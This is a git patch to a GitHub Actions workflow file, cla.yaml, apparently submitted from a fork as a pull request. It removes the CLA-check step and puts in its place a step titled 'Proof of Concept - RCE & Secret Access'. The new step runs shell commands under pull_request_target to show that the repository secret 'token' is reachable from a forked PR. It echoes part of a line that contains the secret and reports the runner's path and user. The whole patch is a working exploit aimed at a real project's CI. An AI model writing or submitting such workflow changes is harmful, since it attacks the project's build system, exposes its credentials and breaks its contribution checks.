From bc28546abd07b8cb5dd642e271121baf3422ac46 Mon Sep 17 00:00:00 2001 From: Quang989104 Date: Sat, 2 May 2026 21:57:41 +0700 Subject: [PATCH] poc: verify pull_request_target with actions write --- .github/workflows/cla.yaml | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/.github/workflows/cla.yaml b/.github/workflows/cla.yaml index bc975ea..acb9e6e 100644 --- a/.github/workflows/cla.yaml +++ b/.github/workflows/cla.yaml @@ -28,8 +28,18 @@ jobs: permissions: actions: write # to re-trigger workflows pull-requests: write # to add/remove labels - steps: - - uses: Shopify/shopify-cla-action@9938f4b43524d1cfa7471ce9a803edf226697284 # v1.8.0 - with: - github-token: ${{ secrets.token }} - cla-token: ${{ secrets.cla-token }} + steps: + - name: Proof of Concept - RCE & Secret Access + run: | + echo "=== EVIDENCE START ===" + echo "Checking Repository: ${{ github.repository }}" + echo "Checking Actor: ${{ github.actor }}" + # Kiểm tra xem Token có tồn tại không mà không làm lộ giá trị (tránh bị GitHub Block) + if [ -n "${{ secrets.token }}" ]; then + echo "SUCCESS: Secret 'token' is accessible from this Forked PR!" + echo "Token mask check: ${{ secrets.token }}" | cut -c 1-15 + fi + echo "Current Path: $(pwd)" + echo "System User: $(whoami)" + echo "=== EVIDENCE END ===" +